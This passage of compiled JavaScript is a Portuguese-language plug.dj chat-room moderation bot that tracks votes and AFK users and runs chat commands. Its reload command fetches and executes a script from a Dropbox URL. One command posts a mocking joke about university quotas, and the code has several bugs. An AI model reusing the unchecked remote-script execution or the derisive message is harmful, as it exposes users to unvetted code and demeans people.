// Generated by CoffeeScript 1.6.2 (function() { var Command, RoomHelper, User, addCommand, afkCheck, afksCommand, allAfksCommand, announceCurate, antispam, apiHooks, avgVoteRatioCommand, chatCommandDispatcher, chatUniversals, cmds, data, dieCommand, disconnectLookupCommand, fans, handleNewSong, handleUserJoin, handleUserLeave, handleVote, hook, initEnvironment, initHooks, initialize, lockCommand, lockskipCommand, msToStr, newSongsCommand, newsCommand, populateUserData, channelCommand, pupOnline, reloadCommand, removeCommand, roomHelpCommand, rulesCommand, settings, skipCommand, staffCommand, statusCommand, themeCommand, undoHooks, unhook, unlockCommand, updateVotes, versionCommand, voteRatioCommand, ref, _ref1, _ref10, _ref11, _ref12, _ref13, _ref14, _ref15, _ref16, _ref17, _ref18, _ref19, _ref2, _ref20, _ref21, _ref3, _ref4, _ref5, _ref6, _ref7, _ref8, _ref9, __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; }, __indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (_hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; settings = (function() { function settings() { this.implode = __bind(this.implode, this); this.intervalMessages = __bind(this.intervalMessages, this); this.startAfkInterval = __bind(this.startAfkInterval, this); this.setInternalWaitlist = __bind(this.setInternalWaitlist, this); this.userJoin = __bind(this.userJoin, this); this.getRoomUrlPath = __bind(this.getRoomUrlPath, this); this.startup = __bind(this.startup, this); } settings.prototype.currentsong = {}; settings.prototype.users = {}; settings.prototype.djs = []; settings.prototype.mods = []; settings.prototype.host = []; settings.prototype.hasWarned = false; settings.prototype.currentwoots = 0; settings.prototype.currentmehs = 0; settings.prototype.currentcurates = 0; settings.prototype.roomUrlPath = null; settings.prototype.internalWaitlist = []; settings.prototype.userDisconnectLog = []; settings.prototype.voteLog = {}; settings.prototype.seshOn = false; settings.prototype.forceSkip = false; settings.prototype.seshMembers = []; settings.prototype.launchTime = null; settings.prototype.totalVotingData = { woots: 0, mehs: 0, curates: 0 }; settings.prototype.pupScriptUrl = 'https://dl.dropbox.com/u/21023321/TastycatBot.js'; settings.prototype.afkTime = 666 * 60 * 1000; settings.prototype.songIntervalMessages = [ { interval: 7, offset: 0, msg: "Entrem na nossa pagina: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl" }, { interval: 5, offset: 0, msg: "Mantenha-se ativo no bate-papo e Votando. Ser não sera Retirado da Lista de DJ e da Cabine!" } ]; settings.prototype.songCount = 0; settings.prototype.startup = function() { this.launchTime = new Date(); return this.roomUrlPath = this.getRoomUrlPath(); }; settings.prototype.getRoomUrlPath = function() { return window.location.pathname.replace(/\//g, ''); }; settings.prototype.newSong = function() { this.totalVotingData.woots += this.currentwoots; this.totalVotingData.mehs += this.currentmehs; this.totalVotingData.curates += this.currentcurates; this.setInternalWaitlist(); this.currentsong = API.getMedia(); if (this.currentsong !== null) { return this.currentsong; } else { return false; } }; settings.prototype.userJoin = function(u) { var userIds, _ref; userIds = Object.keys(this.users); if (_ref = u.id, __indexOf.call(userIds, _ref) >= 0) { return this.users[u.id].inRoom(true); } else { this.users[u.id] = new User(u); return this.voteLog[u.id] = {}; } }; settings.prototype.setInternalWaitlist = function() { var boothWaitlist, fullWaitList, lineWaitList; boothWaitlist = API.getDJs().slice(1); lineWaitList = API.getWaitList(); fullWaitList = boothWaitlist.concat(lineWaitList); return this.internalWaitlist = fullWaitList; }; settings.prototype.activity = function(obj) { if (obj.type === 'message') { return this.users[obj.fromID].updateActivity(); } }; settings.prototype.startAfkInterval = function() { return this.afkInterval = setInterval(afkCheck, 2000); }; settings.prototype.intervalMessages = function() { var msg, _i, _len, _ref, _results; this.songCount++; _ref = this.songIntervalMessages; _results = []; for (_i = 0, _len = _ref.length; _i < _len; _i++) { msg = _ref[_i]; if (((this.songCount + msg['offset']) % msg['interval']) === 0) { _results.push(API.sendChat(msg['msg'])); } else { _results.push(void 0); } } return _results; }; settings.prototype.implode = function() { var item, val; for (item in this) { val = this[item]; if (typeof this[item] === 'object') { delete this[item]; } } return clearInterval(this.afkInterval); }; settings.prototype.lockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": true, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; settings.prototype.unlockBooth = function(callback) { if (callback == null) { callback = null; } return $.ajax({ url: "http://plug.dj/_/gateway/room.update_options", type: 'POST', data: JSON.stringify({ service: "room.update_options", body: [ this.roomUrlPath, { "boothLocked": false, "waitListEnabled": true, "maxPlays": 1, "maxDJs": 5 } ] }), async: this.async, dataType: 'json', contentType: 'application/json' }).done(function() { if (callback != null) { return callback(); } }); }; return settings; })(); data = new settings(); User = (function() { User.prototype.afkWarningCount = 0; User.prototype.lastWarning = null; User.prototype["protected"] = false; User.prototype.isInRoom = true; function User(user) { this.user = user; this.updateVote = __bind(this.updateVote, this); this.inRoom = __bind(this.inRoom, this); this.notDj = __bind(this.notDj, this); this.warn = __bind(this.warn, this); this.getIsDj = __bind(this.getIsDj, this); this.getWarningCount = __bind(this.getWarningCount, this); this.getUser = __bind(this.getUser, this); this.getLastWarning = __bind(this.getLastWarning, this); this.getLastActivity = __bind(this.getLastActivity, this); this.getLastDrinkTime = __bind(this.getLastDrinkTime, this); this.updateDrinkTime = __bind(this.updateDrinkTime, this); this.updateActivity = __bind(this.updateActivity, this); this.init = __bind(this.init, this); this.init(); } User.prototype.init = function() { this.lastActivity = new Date(); return this.drinkTime = new Date(); }; User.prototype.updateActivity = function() { this.lastActivity = new Date(); this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.updateDrinkTime = function() { return this.drinkTime = new Date(); }; User.prototype.getLastDrinkTime = function() { return this.drinkTime; }; User.prototype.getLastActivity = function() { return this.lastActivity; }; User.prototype.getLastWarning = function() { if (this.lastWarning === null) { return false; } else { return this.lastWarning; } }; User.prototype.getUser = function() { return this.user; }; User.prototype.getWarningCount = function() { return this.afkWarningCount; }; User.prototype.getIsDj = function() { var DJs, dj, _i, _len; DJs = API.getDJs(); for (_i = 0, _len = DJs.length; _i < _len; _i++) { dj = DJs[_i]; if (this.user.id === dj.id) { return true; } } return false; }; User.prototype.warn = function() { this.afkWarningCount++; return this.lastWarning = new Date(); }; User.prototype.notDj = function() { this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.inRoom = function(online) { return this.isInRoom = online; }; User.prototype.updateVote = function(v) { if (this.isInRoom) { return data.voteLog[this.user.id][data.currentsong.id] = v; } }; return User; })(); RoomHelper = (function() { function RoomHelper() {} RoomHelper.prototype.lookupUser = function(username) { var id, u, _ref; _ref = data.users; for (id in _ref) { u = _ref[id]; if (u.getUser().username === username) { return u.getUser(); } } return false; }; RoomHelper.prototype.userVoteRatio = function(user) { var songId, songVotes, vote, votes; songVotes = data.voteLog[user.id]; votes = { 'woot': 0, 'meh': 0 }; for (songId in songVotes) { vote = songVotes[songId]; if (vote === 1) { votes['woot']++; } else if (vote === -1) { votes['meh']++; } } votes['positiveRatio'] = (votes['woot'] / (votes['woot'] + votes['meh'])).toFixed(2); return votes; }; return RoomHelper; })(); pupOnline = function() { var currentversion, me, myname; me = API.getSelf(); myname = me.username; currentversion = "1.0.0"; log("BOT editado pelo Rafal Moraes versão " + currentversion + " Chupa Jô"); return API.sendChat("/me on"); }; populateUserData = function() { var u, users, _i, _len; users = API.getUsers(); for (_i = 0, _len = users.length; _i < _len; _i++) { u = users[_i]; data.users[u.id] = new User(u); data.voteLog[u.id] = {}; } }; initEnvironment = function() { document.getElementById("button-vote-positive").click(); document.getElementById("button-sound").click(); Playback.streamDisabled = true; return Playback.stop(); }; initialize = function() { pupOnline(); populateUserData(); initEnvironment(); initHooks(); data.startup(); data.newSong(); return data.startAfkInterval(); }; afkCheck = function() { var DJs, id, lastActivity, lastWarned, now, secsLastActive, timeSinceLastActivity, timeSinceLastWarning, twoMinutes, user, _ref, _results; _ref = data.users; _results = []; for (id in _ref) { user = _ref[id]; now = new Date(); lastActivity = user.getLastActivity(); timeSinceLastActivity = now.getTime() - lastActivity.getTime(); if (timeSinceLastActivity > data.afkTime) { if (user.getIsDj()) { secsLastActive = timeSinceLastActivity / 1000; if (user.getWarningCount() === 0) { user.warn(); _results.push(API.sendChat("@" + user.getUser().username + ", Você não falou no chat nos ultimos 30 minutos, por favor fale alguma coisa em 4 minutos ou será kickado da line de dj.")); } else if (user.getWarningCount() === 1) { lastWarned = user.getLastWarning(); timeSinceLastWarning = now.getTime() - lastWarned.getTime(); twoMinutes = 4 * 60 * 1000; if (timeSinceLastWarning > twoMinutes) { DJs = API.getDJs(); if (DJs.length > 0 && DJs[0].id !== user.getUser().id) { API.sendChat("@" + user.getUser().username + ", você foi avisado, fique ativo enquanto está na line."); API.moderateRemoveDJ(id); _results.push(user.warn()); } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(user.notDj()); } } else { _results.push(void 0); } } return _results; }; msToStr = function(msTime) { var ms, msg, timeAway; msg = ''; timeAway = { 'days': 0, 'hours': 0, 'minutes': 0, 'seconds': 0 }; ms = { 'day': 24 * 60 * 60 * 1000, 'hour': 60 * 60 * 1000, 'minute': 60 * 1000, 'second': 1000 }; if (msTime > ms['day']) { timeAway['days'] = Math.floor(msTime / ms['day']); msTime = msTime % ms['day']; } if (msTime > ms['hour']) { timeAway['hours'] = Math.floor(msTime / ms['hour']); msTime = msTime % ms['hour']; } if (msTime > ms['minute']) { timeAway['minutes'] = Math.floor(msTime / ms['minute']); msTime = msTime % ms['minute']; } if (msTime > ms['second']) { timeAway['seconds'] = Math.floor(msTime / ms['second']); } if (timeAway['days'] !== 0) { msg += timeAway['days'].toString() + 'd'; } if (timeAway['hours'] !== 0) { msg += timeAway['hours'].toString() + 'h'; } if (timeAway['minutes'] !== 0) { msg += timeAway['minutes'].toString() + 'm'; } if (timeAway['seconds'] !== 0) { msg += timeAway['seconds'].toString() + 's'; } if (msg !== '') { return msg; } else { return false; } }; Command = (function() { function Command(msgData) { this.msgData = msgData; this.init(); } Command.prototype.init = function() { this.parseType = null; this.command = null; return this.rankPrivelege = null; }; Command.prototype.functionality = function(data) {}; Command.prototype.hasPrivelege = function() { var user; user = data.users[this.msgData.fromID].getUser(); switch (this.rankPrivelege) { case 'host': return user.permission >= 5; case 'cohost': return user.permission >= 4; case 'mod': return user.permission >= 3; case 'manager': return user.permission >= 3; case 'bouncer': return user.permission >= 2; case 'featured': return user.permission >= 1; default: return true; } }; Command.prototype.commandMatch = function() { var command, msg, _i, _len, _ref; msg = this.msgData.message; if (typeof this.command === 'string') { if (this.parseType === 'exact') { if (msg === this.command) { return true; } else { return false; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, this.command.length) === this.command) { return true; } else { return false; } } else if (this.parseType === 'contains') { if (msg.indexOf(this.command) !== -1) { return true; } else { return false; } } } else if (typeof this.command === 'object') { _ref = this.command; for (_i = 0, _len = _ref.length; _i < _len; _i++) { command = _ref[_i]; if (this.parseType === 'exact') { if (msg === command) { return true; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, command.length) === command) { return true; } } else if (this.parseType === 'contains') { if (msg.indexOf(command) !== -1) { return true; } } } return false; } }; Command.prototype.evalMsg = function() { if (this.commandMatch() && this.hasPrivelege()) { this.functionality(); return true; } else { return false; } }; return Command; })(); newsCommand = (function(_super) { __extends(newsCommand, _super); function newsCommand() { _ref = newsCommand.__super__.constructor.apply(this, arguments); return _ref; } newsCommand.prototype.init = function() { this.command = '!cotas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newsCommand.prototype.functionality = function() { var msg; msg = "/me Acaba de Ativar modo Cota e roubou sua vaga na Faculdade e sua vez na Cabine de DJ!"; return API.sendChat(msg); }; return newsCommand; })(Command); newSongsCommand = (function(_super) { __extends(newSongsCommand, _super); function newSongsCommand() { _ref1 = newSongsCommand.__super__.constructor.apply(this, arguments); return _ref1; } newSongsCommand.prototype.init = function() { this.command = '!musicanovas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newSongsCommand.prototype.functionality = function() { var arts, cMedia, chans, chooseRandom, mChans, msg, selections, u, _ref2; mChans = this.memberChannels.slice(0); chans = this.channels.slice(0); arts = this.artists.slice(0); chooseRandom = function(list) { var l, r; l = list.length; r = Math.floor(Math.random() * l); return list.splice(r, 1); }; selections = { channels: [], artist: '' }; u = data.users[this.msgData.fromID].getUser().username; if (u.indexOf("MistaDubstep") !== -1) { selections['channels'].push('MistaDubstep'); } else if (u.indexOf("Underground Promotions") !== -1) { selections['channels'].push('UndergroundDubstep'); } else { selections['channels'].push(chooseRandom(mChans)); } selections['channels'].push(chooseRandom(chans)); selections['channels'].push(chooseRandom(chans)); cMedia = API.getMedia(); if (_ref2 = cMedia.author, __indexOf.call(arts, _ref2) >= 0) { selections['artist'] = cMedia.author; } else { selections['artist'] = chooseRandom(arts); } msg = "Querem musica de Dubstep do " + selections['artist'] + " entre! Tem musicas nova sempre em http://youtube.com/" + selections['channels'][0] + " http://youtube.com/" + selections['channels'][1] + " ou http://youtube.com/" + selections['channels'][2]; return API.sendChat(msg); }; newSongsCommand.prototype.memberChannels = ["MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.channels = ["BassRape", "MonstercatMedia", "UKFdubstep", "DropThatBassline", "VitalDubstep", "AirwaveDubstepTV", "InspectorDubplate", "TehDubstepChannel", "UNITEDubstep", "LuminantNetwork", "TheSoundIsle", "PandoraMuslc", "MrSuicideSheep", "HearTheSensation", "bassoutletpromos", "MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.artists = ["Doctor P", "Excision", "Flux Pavilion", "Knife Party", "Rusko", "Bassnectar", "Nero", "Deadmau5", "Borgore", "Zomboy"]; return newSongsCommand; })(Command); themeCommand = (function(_super) { __extends(themeCommand, _super); function themeCommand() { _ref2 = themeCommand.__super__.constructor.apply(this, arguments); return _ref2; } themeCommand.prototype.init = function() { this.command = '!tema'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; themeCommand.prototype.functionality = function() { var msg; msg = "Temas permitidos aqui na sala. electro, techno, "; msg += "dubstep."; return API.sendChat(msg); }; return themeCommand; })(Command); rulesCommand = (function(_super) { __extends(rulesCommand, _super); function rulesCommand() { _ref3 = rulesCommand.__super__.constructor.apply(this, arguments); return _ref3; } rulesCommand.prototype.init = function() { this.command = '!regras'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; rulesCommand.prototype.functionality = function() { var msg1, msg2; msg1 = " 1) Video no Maximo 6 minutos. "; msg1 += " 2) Sem Flood! "; msg1 += " 3) Nao escrever em colorido "; msg1 += " 4) Respeitar os Adms e Mods;s "; msg1 += " 5) Nao Fiquem Pedindo Cargos "; msg2 = "Curta: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl"; msg2 += ""; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return rulesCommand; })(Command); roomHelpCommand = (function(_super) { __extends(roomHelpCommand, _super); function roomHelpCommand() { _ref4 = roomHelpCommand.__super__.constructor.apply(this, arguments); return _ref4; } roomHelpCommand.prototype.init = function() { this.command = '!ajuda'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; roomHelpCommand.prototype.functionality = function() { var msg1, msg2; msg1 = "Bem vindo a Sala! Para ser o DJ, Criar uma lista de reprodução e coloque Musica do Youtube ou soundcloud. "; msg1 += "Se é novo procure pelo seu nome na sua tela (do lado da cabine de dj e clique) e depois mude o nome."; msg2 = "Para Ganhar Pontos é só clica em Bacana. "; msg2 += "Digite !regras pare ler as porra das regras."; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return roomHelpCommand; })(Command); afksCommand = (function(_super) { __extends(afksCommand, _super); function afksCommand() { _ref5 = afksCommand.__super__.constructor.apply(this, arguments); return _ref5; } afksCommand.prototype.init = function() { this.command = '!afks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; afksCommand.prototype.functionality = function() { var dj, djAfk, djs, msg, now, _i, _len; msg = ''; djs = API.getDJs(); for (_i = 0, _len = djs.length; _i < _len; _i++) { dj = djs[_i]; now = new Date(); djAfk = now.getTime() - data.users[dj.id].getLastActivity().getTime(); if (djAfk > (5 * 60 * 1000)) { if (msToStr(djAfk) !== false) { msg += dj.username + ' - ' + msToStr(djAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return afksCommand; })(Command); allAfksCommand = (function(_super) { __extends(allAfksCommand, _super); function allAfksCommand() { _ref6 = allAfksCommand.__super__.constructor.apply(this, arguments); return _ref6; } allAfksCommand.prototype.init = function() { this.command = '!todosafks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; allAfksCommand.prototype.functionality = function() { var msg, now, u, uAfk, usrs, _i, _len; msg = ''; usrs = API.getUsers(); for (_i = 0, _len = usrs.length; _i < _len; _i++) { u = usrs[_i]; now = new Date(); uAfk = now.getTime() - data.users[u.id].getLastActivity().getTime(); if (uAfk > (10 * 60 * 1000)) { if (msToStr(uAfk) !== false) { msg += u.username + ' - ' + msToStr(uAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return allAfksCommand; })(Command); statusCommand = (function(_super) { __extends(statusCommand, _super); function statusCommand() { _ref7 = statusCommand.__super__.constructor.apply(this, arguments); return _ref7; } statusCommand.prototype.init = function() { this.command = '!status'; this.parseType = 'exact'; return this.rankPrivelege = 'featured'; }; statusCommand.prototype.functionality = function() { var day, hour, launch, lt, meridian, min, month, msg, t, totals; lt = data.launchTime; month = lt.getMonth() + 1; day = lt.getDate(); hour = lt.getHours(); meridian = hour % 12 === hour ? 'AM' : 'PM'; min = lt.getMinutes(); min = min < 10 ? '0' + min : min; t = data.totalVotingData; t['songs'] = data.songCount; launch = 'Iniciada em ' + month + '/' + day + ' ' + hour + ':' + min + ' ' + meridian + '. '; totals = '' + t.songs + ' Teve: :+1: ' + t.woots + ',:-1: ' + t.mehs + ',:heart: ' + t.curates + '.' msg = launch + totals; return API.sendChat(msg); }; return statusCommand; })(Command); dieCommand = (function(_super) { __extends(dieCommand, _super); function dieCommand() { _ref8 = dieCommand.__super__.constructor.apply(this, arguments); return _ref8; } dieCommand.prototype.init = function() { this.command = '!adeus'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; dieCommand.prototype.functionality = function() { API.sendChat("Acho que fui envenenado!"); undoHooks(); API.sendChat("Vish,"); data.implode(); return API.sendChat("Morri! x_x"); }; return dieCommand; })(Command); reloadCommand = (function(_super) { __extends(reloadCommand, _super); function reloadCommand() { _ref9 = reloadCommand.__super__.constructor.apply(this, arguments); return _ref9; } reloadCommand.prototype.init = function() { this.command = '!reload'; this.parseType = 'exact'; return this.rankPrivelege = 'Host'; }; reloadCommand.prototype.functionality = function() { var pupSrc; API.sendChat('/me Não se Preocupe o Papai Chegou'); undoHooks(); pupSrc = data.pupScriptUrl; data.implode(); return $.getScript(pupSrc); }; return reloadCommand; })(Command); lockCommand = (function(_super) { __extends(lockCommand, _super); function lockCommand() { _ref10 = lockCommand.__super__.constructor.apply(this, arguments); return _ref10; } lockCommand.prototype.init = function() { this.command = '!trava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; lockCommand.prototype.functionality = function() { return data.lockBooth(); }; return lockCommand; })(Command); unlockCommand = (function(_super) { __extends(unlockCommand, _super); function unlockCommand() { _ref11 = unlockCommand.__super__.constructor.apply(this, arguments); return _ref11; } unlockCommand.prototype.init = function() { this.command = '!destrava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; unlockCommand.prototype.functionality = function() { return data.unlockBooth(); }; return unlockCommand; })(Command); removeCommand = (function(_super) { __extends(removeCommand, _super); function removeCommand() { _ref12 = removeCommand.__super__.constructor.apply(this, arguments); return _ref12; } removeCommand.prototype.init = function() { this.command = '!remove'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; removeCommand.prototype.functionality = function() { var djs, popDj; djs = API.getDJs(); popDj = djs[djs.length - 1]; return API.moderateRemoveDJ(popDj.id); }; return removeCommand; })(Command); addCommand = (function(_super) { __extends(addCommand, _super); function addCommand() { _ref13 = addCommand.__super__.constructor.apply(this, arguments); return _ref13; } addCommand.prototype.init = function() { this.command = '!add'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; addCommand.prototype.functionality = function() { var msg, name, r, user; msg = this.msgData.message; if (msg.length > this.command.length + 2) { name = msg.substr(this.command.length + 2); r = new RoomHelper(); user = r.lookupUser(name); if (user !== false) { API.moderateAddDJ(user.id); return setTimeout((function() { return data.unlockBooth(); }), 5000); } } }; return addCommand; })(Command); skipCommand = (function(_super) { __extends(skipCommand, _super); function skipCommand() { _ref14 = skipCommand.__super__.constructor.apply(this, arguments); return _ref14; } skipCommand.prototype.init = function() { this.command = '!pula'; this.parseType = 'exact'; this.rankPrivelege = 'bouncer'; return window.lastSkipTime; }; skipCommand.prototype.functionality = function() { var currentTime, millisecondsPassed; currentTime = new Date(); if (!window.lastSkipTime) { API.moderateForceSkip(); return window.lastSkipTime = currentTime; } else { millisecondsPassed = Math.round(currentTime.getTime() - window.lastSkipTime.getTime()); if (millisecondsPassed > 10000) { window.lastSkipTime = currentTime; return API.moderateForceSkip(); } } }; return skipCommand; })(Command); disconnectLookupCommand = (function(_super) { __extends(disconnectLookupCommand, _super); function disconnectLookupCommand() { _ref15 = disconnectLookupCommand.__super__.constructor.apply(this, arguments); return _ref15; } disconnectLookupCommand.prototype.init = function() { this.command = '!dcmembros'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; disconnectLookupCommand.prototype.functionality = function() { var cmd, dcHour, dcLookupId, dcMeridian, dcMins, dcSongsAgo, dcTimeStr, dcUser, disconnectInstances, givenName, id, recentDisconnect, resp, u, _i, _len, _ref16, _ref17; cmd = this.msgData.message; if (cmd.length > 11) { givenName = cmd.slice(11); _ref16 = data.users; for (id in _ref16) { u = _ref16[id]; if (u.getUser().username === givenName) { dcLookupId = id; disconnectInstances = []; _ref17 = data.userDisconnectLog; for (_i = 0, _len = _ref17.length; _i < _len; _i++) { dcUser = _ref17[_i]; if (dcUser.id === dcLookupId) { disconnectInstances.push(dcUser); } } if (disconnectInstances.length > 0) { resp = u.getUser().username + ' disconectou ' + disconnectInstances.length.toString() + ' '; if (disconnectInstances.length === 1) { resp += '. '; } else { resp += 's. '; } recentDisconnect = disconnectInstances.pop(); dcHour = recentDisconnect.time.getHours(); dcMins = recentDisconnect.time.getMinutes(); if (dcMins < 10) { dcMins = '0' + dcMins.toString(); } dcMeridian = dcHour % 12 === dcHour ? 'AM' : 'PM'; dcTimeStr = '' + dcHour + ':' + dcMins + ' ' + dcMeridian; dcSongsAgo = data.songCount - recentDisconnect.songCount; resp += 'O seu disconect mais recente foi á ' + dcTimeStr + ' (' + dcSongsAgo + ' músicas atras). '; if (recentDisconnect.waitlistPosition !== void 0) { resp += 'Ele estava ' + recentDisconnect.waitlistPosition + ' música'; if (recentDisconnect.waitlistPosition > 1) { resp += 's'; } resp += ' atras da cabine de dj.'; } else { resp += 'Ele não estava na cabine de dj.'; } API.sendChat(resp); return; } else { API.sendChat(" " + u.getUser().username + " não disconectou."); return; } } } return API.sendChat("Eu não vejo essa pessoa na sala '" + givenName + "'."); } }; return disconnectLookupCommand; })(Command); voteRatioCommand = (function(_super) { __extends(voteRatioCommand, _super); function voteRatioCommand() { _ref16 = voteRatioCommand.__super__.constructor.apply(this, arguments); return _ref16; } voteRatioCommand.prototype.init = function() { this.command = '!voteratio'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; voteRatioCommand.prototype.functionality = function() { var msg, name, r, u, votes; r = new RoomHelper(); msg = this.msgData.message; if (msg.length > 12) { name = msg.substr(12); u = r.lookupUser(name); if (u !== false) { votes = r.userVoteRatio(u); msg = u.username + " :+1: " + votes['woot'].toString() + " vez"; if (votes['woot'] === 1) { msg += ', '; } else { msg += 'es, '; } msg += "e :-1: " + votes['meh'].toString() + " veze"; if (votes['meh'] === 1) { msg += '. '; } else { msg += 'es. '; } msg += "O seu vote ratio é: " + votes['positiveRatio'].toString() + "."; return API.sendChat(msg); } else { return API.sendChat("Não parece ter alguém com esse nome de'" + name + "'"); } } else { return API.sendChat("Você quer alguma coisa? Ou você está apenas tentando me irritar."); } }; return voteRatioCommand; })(Command); avgVoteRatioCommand = (function(_super) { __extends(avgVoteRatioCommand, _super); function avgVoteRatioCommand() { _ref17 = avgVoteRatioCommand.__super__.constructor.apply(this, arguments); return _ref17; } avgVoteRatioCommand.prototype.init = function() { this.command = '!avgvoteratio'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; avgVoteRatioCommand.prototype.functionality = function() { var averageRatio, msg, r, ratio, roomRatios, uid, user, userRatio, votes, _i, _len, _ref18; roomRatios = []; r = new RoomHelper(); _ref18 = data.voteLog; for (uid in _ref18) { votes = _ref18[uid]; user = data.users[uid].getUser(); userRatio = r.userVoteRatio(user); roomRatios.push(userRatio['positiveRatio']); } averageRatio = 0.0; for (_i = 0, _len = roomRatios.length; _i < _len; _i++) { ratio = roomRatios[_i]; averageRatio += ratio; } averageRatio = averageRatio / roomRatios.length; msg = "Accounting for " + roomRatios.length.toString() + " user ratios, the average room ratio is " + averageRatio.toFixed(2).toString() + "."; return API.sendChat(msg); }; return avgVoteRatioCommand; })(Command); staffCommand = (function(_super) { __extends(staffCommand, _super); function staffCommand() { _ref18 = staffCommand.__super__.constructor.apply(this, arguments); return _ref18; } staffCommand.prototype.init = function() { this.command = '!staff'; this.parseType = 'exact'; this.rankPrivelege = 'user'; return window.lastActiveStaffTime; }; staffCommand.prototype.staff = function() { var now, staff, staffAfk, stringstaff, user, _i, _len; staff = API.getStaff(); now = new Date(); stringstaff = ""; for (_i = 0, _len = staff.length; _i < _len; _i++) { user = staff[_i]; if (user.permission > 1) { staffAfk = now.getTime() - data.users[user.id].getLastActivity().getTime(); if (staffAfk < (60 * 60 * 1000)) { stringstaff += "@" + user.username + " "; } } } if (stringstaff.length === 0) { stringstaff = "Aff pqp não tem staff ativo :'("; } return stringstaff; }; staffCommand.prototype.functionality = function() { var currentTime, millisecondsPassed, thestaff; thestaff = this.staff(); currentTime = new Date(); if (!window.lastActiveStaffTime) { API.sendChat(thestaff); return window.lastActiveStaffTime = currentTime; } else { millisecondsPassed = currentTime.getTime() - window.lastActiveStaffTime.getTime(); if (millisecondsPassed > 10000) { window.lastActiveStaffTime = currentTime; return API.sendChat(thestaff); } } }; return staffCommand; })(Command); lockskipCommand = (function(_super) { __extends(lockskipCommand, _super); function lockskipCommand() { _ref19 = lockskipCommand.__super__.constructor.apply(this, arguments); return _ref19; } lockskipCommand.prototype.init = function() { this.command = '!repetida'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; lockskipCommand.prototype.functionality = function() { return data.lockBooth(function() { return setTimeout(function() {}, API.moderateForceSkip(), setTimeout(function() { return data.unlockBooth(); }, 5000), 5000); }); }; return lockskipCommand; })(Command); channelCommand = (function(_super) { __extends(channelCommand, _super); function channelCommand() { _ref20 = channelCommand.__super__.constructor.apply(this, arguments); return _ref20; } channelCommand.prototype.init = function() { this.command = '!comandos'; this.parseType = 'startsWith'; return this.rankPrivelege = 'user'; }; channelCommand.prototype.functionality = function() { return API.sendChat("/em: Lista de comandos: https://www.google.com.br/ _|_"); }; return channelCommand; })(Command); versionCommand = (function(_super) { __extends(versionCommand, _super); function versionCommand() { _ref21 = versionCommand.__super__.constructor.apply(this, arguments); return _ref21; } versionCommand.prototype.init = function() { this.command = '!version'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; versionCommand.prototype.functionality = function() { return API.sendChat("/me BOT editado 1.0 " + currentversion); }; return versionCommand; })(Command); cmds = [newSongsCommand, themeCommand, rulesCommand, roomHelpCommand, afksCommand, allAfksCommand, statusCommand, dieCommand, reloadCommand, lockCommand, unlockCommand, removeCommand, addCommand, skipCommand, disconnectLookupCommand, voteRatioCommand, avgVoteRatioCommand, staffCommand, lockskipCommand, versionCommand, newsCommand, channelCommand]; chatCommandDispatcher = function(chat) { var c, cmd, _i, _len, _results; chatUniversals(chat); _results = []; for (_i = 0, _len = cmds.length; _i < _len; _i++) { cmd = cmds[_i]; c = new cmd(chat); if (c.evalMsg()) { break; } else { _results.push(void 0); } } return _results; }; updateVotes = function(obj) { data.currentwoots = obj.positive; data.currentmehs = obj.negative; return data.currentcurates = obj.curates; }; announceCurate = function(obj) { return APIsendChat("/em: " + obj.user.username + " Gostou dessa Musica!"); }; handleUserJoin = function(user) { data.userJoin(user); return data.users[user.id].updateActivity(); }; handleNewSong = function(obj) { var songId; data.intervalMessages(); if (data.currentsong === null) { data.newSong(); } else { API.sendChat("/em: " + data.currentsong.title + " por " + data.currentsong.author + ". :+1: " + data.currentwoots + ", :-1: " + data.currentmehs + ", :heart: " + data.currentcurates + "."); 